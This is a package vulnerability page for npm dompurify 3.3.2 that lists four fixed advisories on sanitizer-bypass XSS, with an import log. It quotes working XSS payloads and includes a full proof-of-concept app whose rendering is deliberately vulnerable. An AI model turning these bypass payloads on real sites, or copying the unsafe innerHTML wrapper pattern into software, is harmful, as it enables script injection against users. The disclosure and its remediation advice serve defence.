Staging Environment: Content and features may be unstable or change without notice.
Search for packages
Package details: pkg:npm/dompurify@3.3.2
purl pkg:npm/dompurify@3.3.2
Vulnerabilities affecting this package (0)
Vulnerability Summary Fixed by
This package is not known to be affected by vulnerabilities.
Vulnerabilities fixed by this package (4)
Vulnerability Summary Aliases
VCID-4a9k-89d3-8yes DOMPurify ADD_ATTR predicate skips URI validation ## Summary DOMPurify allows `ADD_ATTR` to be provided as a predicate function via `EXTRA_ELEMENT_HANDLING.attributeCheck`. When the predicate returns `true`, `_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `<a href="javascript:alert(document.domain)">` and have the `javascript:` URL survive, because URI validation is skipped for that attribute while other checks still pass. The provided PoC accepts `href` for anchors and then triggers a click inside an iframe, showing that the sanitized payload executes despite the protocol bypass. ## Impact Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS. ## Credits Identified by Cantina’s Apex (https://www.cantina.security). GHSA-cjmm-f4jc-qw8r
VCID-d7qb-cwzz-3yh6 DOMPurify USE_PROFILES prototype pollution allows event handlers ## Summary When `USE_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `<img onclick=...>` with `USE_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector. ## Impact Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered. ## Credits Identified by Cantina’s Apex (https://www.cantina.security). GHSA-cj63-jhhr-wcxv
VCID-ps3s-bymy-dkbc DOMPurify contains a Cross-site Scripting vulnerability DOMPurify 3.1.3 through 3.3.1 and 2.5.3 through 2.5.8, fixed in 2.5.9 and 3.3.2, contain a cross-site scripting vulnerability that allows attackers to bypass attribute sanitization by exploiting five missing rawtext elements (noscript, xmp, noembed, noframes, iframe) in the `SAFE_FOR_XML` regex. Attackers can include payloads like `</noscript><img src=x onerror=alert(1)>` in attribute values to execute JavaScript when sanitized output is placed inside these unprotected rawtext contexts. CVE-2026-0540
GHSA-v2wj-7wpq-c8vv
VCID-ter4-v1bu-7fan DOMPurify is vulnerable to mutation-XSS via Re-Contextualization ## Description A mutation-XSS (mXSS) condition was confirmed when sanitized HTML is reinserted into a new parsing context using `innerHTML` and special wrappers. The vulnerable wrappers confirmed in browser behavior are `script`, `xmp`, `iframe`, `noembed`, `noframes`, and `noscript`. The payload remains seemingly benign after `DOMPurify.sanitize()`, but mutates during the second parse into executable markup with an event handler, enabling JavaScript execution in the client (`alert(1)` in the PoC). ## Vulnerability The root cause is context switching after sanitization: sanitized output is treated as trusted and concatenated into a wrapper string (for example, `<xmp> ... </xmp>` or other special wrappers) before being reparsed by the browser. In this flow, attacker-controlled text inside an attribute (for example `</xmp>` or equivalent closing sequences for each wrapper) closes the special parsing context early and reintroduces attacker markup (`<img ... onerror=...>`) outside the original attribute context. DOMPurify sanitizes the original parse tree, but the application performs a second parse in a different context, reactivating dangerous tokens (classic mXSS pattern). ## PoC 1. Start the PoC app: ```bash npm install npm start ``` 2. Open `http://localhost:3001`. 3. Set `Wrapper en sink` to `xmp`. 4. Use payload: ```html <img src=x alt="</xmp><img src=x onerror=alert('expoc')>"> ``` 5. Click `Sanitize + Render`. 6. Observe: - `Sanitized response` still contains the `</xmp>` sequence inside `alt`. - The sink reparses to include `<img src="x" onerror="alert('expoc')">`. - `alert('expoc')` is triggered. 7. Files: - index.html ```html <!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>expoc - DOMPurify SSR PoC</title> <style> :root { --bg: #f7f8fb; --panel: #ffffff; --line: #d8dce6; --text: #0f172a; --muted: #475569; --accent: #0ea5e9; } * { box-sizing: border-box; } body { margin: 0; font-family: "SF Mono", Menlo, Consolas, monospace; color: var(--text); background: radial-gradient(circle at 10% 0%, #e0f2fe 0%, var(--bg) 60%); } main { max-width: 980px; margin: 28px auto; padding: 0 16px 20px; } h1 { margin: 0 0 10px; font-size: 1.45rem; } p { margin: 0; color: var(--muted); } .grid { display: grid; gap: 14px; margin-top: 16px; } .card { background: var(--panel); border: 1px solid var(--line); border-radius: 12px; padding: 14px; } label { display: block; margin-bottom: 7px; font-size: 0.85rem; color: var(--muted); } textarea, input, select, button { width: 100%; border: 1px solid var(--line); border-radius: 8px; padding: 9px 10px; font: inherit; background: #fff; } textarea { min-height: 110px; resize: vertical; } .row { display: grid; grid-template-columns: 1fr 230px; gap: 12px; } button { cursor: pointer; background: var(--accent); color: #fff; border-color: #0284c7; } #sink { min-height: 90px; border: 1px dashed #94a3b8; border-radius: 8px; padding: 10px; background: #f8fafc; } pre { margin: 0; white-space: pre-wrap; word-break: break-word; } .note { margin-top: 8px; font-size: 0.85rem; } .status-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(180px, 1fr)); gap: 8px; margin-top: 10px; } .status-item { border: 1px solid var(--line); border-radius: 8px; padding: 8px 10px; font-size: 0.85rem; background: #fff; } .status-item.vuln { border-color: #ef4444; background: #fef2f2; } .status-item.safe { border-color: #22c55e; background: #f0fdf4; } @media (max-width: 760px) { .row { grid-template-columns: 1fr; } } </style> </head> <body> <main> <h1>expoc - DOMPurify Server-Side PoC</h1> <p> Flujo: input -> POST /sanitize (Node + jsdom + DOMPurify) -> render vulnerable con innerHTML. </p> <div class="grid"> <section class="card"> <label for="payload">Payload</label> <textarea id="payload"><img src=x alt="</script><img src=x onerror=alert('expoc')>"></textarea> <div class="row" style="margin-top: 10px;"> <div> <label for="wrapper">Wrapper en sink</label> <select id="wrapper"> <option value="div">div</option> <option value="textarea">textarea</option> <option value="title">title</option> <option value="style">style</option> <option value="script" selected>script</option> <option value="xmp">xmp</option> <option value="iframe">iframe</option> <option value="noembed">noembed</option> <option value="noframes">noframes</option> <option value="noscript">noscript</option> </select> </div> <div style="display:flex;align-items:end;"> <button id="run" type="button">Sanitize + Render</button> </div> </div> <p class="note">Se usa render vulnerable: <code>sink.innerHTML = '&lt;wrapper&gt;' + sanitized + '&lt;/wrapper&gt;'</code>.</p> <div class="status-grid"> <div class="status-item vuln">script (vulnerable)</div> <div class="status-item vuln">xmp (vulnerable)</div> <div class="status-item vuln">iframe (vulnerable)</div> <div class="status-item vuln">noembed (vulnerable)</div> <div class="status-item vuln">noframes (vulnerable)</div> <div class="status-item vuln">noscript (vulnerable)</div> <div class="status-item safe">div (no vulnerable)</div> <div class="status-item safe">textarea (no vulnerable)</div> <div class="status-item safe">title (no vulnerable)</div> <div class="status-item safe">style (no vulnerable)</div> </div> </section> <section class="card"> <label>Sanitized response</label> <pre id="sanitized">(empty)</pre> </section> <section class="card"> <label>Sink</label> <div id="sink"></div> </section> </div> </main> <script> const payload = document.getElementById('payload'); const wrapper = document.getElementById('wrapper'); const run = document.getElementById('run'); const sanitizedNode = document.getElementById('sanitized'); const sink = document.getElementById('sink'); run.addEventListener('click', async () => { const response = await fetch('/sanitize', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ input: payload.value }) }); const data = await response.json(); const sanitized = data.sanitized || ''; const w = wrapper.value; sanitizedNode.textContent = sanitized; sink.innerHTML = '<' + w + '>' + sanitized + '</' + w + '>'; }); </script> </body> </html> ``` - server.js ```js const express = require('express'); const path = require('path'); const { JSDOM } = require('jsdom'); const createDOMPurify = require('dompurify'); const app = express(); const port = process.env.PORT || 3001; const window = new JSDOM('').window; const DOMPurify = createDOMPurify(window); app.use(express.json()); app.use(express.static(path.join(__dirname, 'public'))); app.get('/health', (_req, res) => { res.json({ ok: true, service: 'expoc' }); }); app.post('/sanitize', (req, res) => { const input = typeof req.body?.input === 'string' ? req.body.input : ''; const sanitized = DOMPurify.sanitize(input); res.json({ sanitized }); }); app.listen(port, () => { console.log(`expoc running at http://localhost:${port}`); }); ``` - package.json ```json { "name": "expoc", "version": "1.0.0", "main": "server.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "start": "node server.js", "dev": "node server.js" }, "keywords": [], "author": "", "license": "ISC", "description": "", "dependencies": { "dompurify": "^3.3.1", "express": "^5.2.1", "jsdom": "^28.1.0" } } ``` ## Evidence - PoC [daft-video.webm](https://github.com/user-attachments/assets/499a593d-0241-4ab8-95a9-cf49a00bda90) - XSS triggered <img width="2746" height="1588" alt="daft-img" src="https://github.com/user-attachments/assets/1f463c14-d5a3-4c93-94e4-12d2d02c7d15" /> ## Why This Happens This is a mutation-XSS pattern caused by a parse-context mismatch: - Parse 1 (sanitization phase): input is interpreted under normal HTML parsing rules. - Parse 2 (sink phase): sanitized output is embedded into a wrapper that changes parser state (`xmp` raw-text behavior). - Attacker-controlled sequence (`</xmp>`) gains structural meaning in parse 2 and alters DOM structure. Sanitization is not a universal guarantee across all future parsing contexts. The sink design reintroduces risk. ## Remediation Guidance 1. Do not concatenate sanitized strings into new HTML wrappers followed by `innerHTML`. 2. Keep the rendering context stable from sanitize to sink. 3. Prefer DOM-safe APIs (`textContent`, `createElement`, `setAttribute`) over string-based HTML composition. 4. If HTML insertion is required, sanitize as close as possible to final insertion context and avoid wrapper constructs with raw-text semantics (`xmp`, `script`, etc.). 5. Add regression tests for context-switch/mXSS payloads (including `</xmp>`, `</noscript>`, similar parser-breakout markers). Reported by Oscar Uribe, Security Researcher at Fluid Attacks. Camilo Vera and Cristian Vargas from the Fluid Attacks Research Team have identified a mXSS via Re-Contextualization in DomPurify 3.3.1. Following Fluid Attacks [Disclosure Policy](https://fluidattacks.com/advisories/policy), if this report corresponds to a vulnerability and the conditions outlined in the policy are met, this advisory will be published on the website over the next few days (the timeline may vary depending on maintainers' willingness to attend to and respond to this report) at the following URL: https://fluidattacks.com/advisories/daft Acknowledgements: [Camilo Vera](https://github.com/caverav/) and [Cristian Vargas](https://github.com/tachote). GHSA-h8r8-wccr-v5f2

Date Actor Action Vulnerability Source VulnerableCode Version
2026-04-06T06:40:18.804854+00:00 GitLab Importer Fixing VCID-ps3s-bymy-dkbc https://gitlab.com/gitlab-org/advisories-community/-/blob/main/npm/dompurify/CVE-2026-0540.yml 38.1.0
2026-04-04T14:32:52.961845+00:00 GHSA Importer Fixing VCID-4a9k-89d3-8yes https://github.com/advisories/GHSA-cjmm-f4jc-qw8r 38.1.0
2026-04-04T14:32:52.930905+00:00 GHSA Importer Fixing VCID-d7qb-cwzz-3yh6 https://github.com/advisories/GHSA-cj63-jhhr-wcxv 38.1.0
2026-04-03T21:42:25.860985+00:00 GithubOSV Importer Fixing VCID-d7qb-cwzz-3yh6 https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-cj63-jhhr-wcxv/GHSA-cj63-jhhr-wcxv.json 38.1.0
2026-04-03T21:42:20.049542+00:00 GithubOSV Importer Fixing VCID-4a9k-89d3-8yes https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-cjmm-f4jc-qw8r/GHSA-cjmm-f4jc-qw8r.json 38.1.0
2026-04-02T17:01:31.448072+00:00 GHSA Importer Fixing VCID-ter4-v1bu-7fan https://github.com/advisories/GHSA-h8r8-wccr-v5f2 38.1.0
2026-04-01T16:08:19.393041+00:00 GHSA Importer Fixing VCID-ps3s-bymy-dkbc https://github.com/advisories/GHSA-v2wj-7wpq-c8vv 38.0.0
2026-04-01T12:54:01.710743+00:00 GithubOSV Importer Fixing VCID-ps3s-bymy-dkbc https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v2wj-7wpq-c8vv/GHSA-v2wj-7wpq-c8vv.json 38.0.0
2026-04-01T12:53:29.212790+00:00 GithubOSV Importer Fixing VCID-ter4-v1bu-7fan https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-h8r8-wccr-v5f2/GHSA-h8r8-wccr-v5f2.json 38.0.0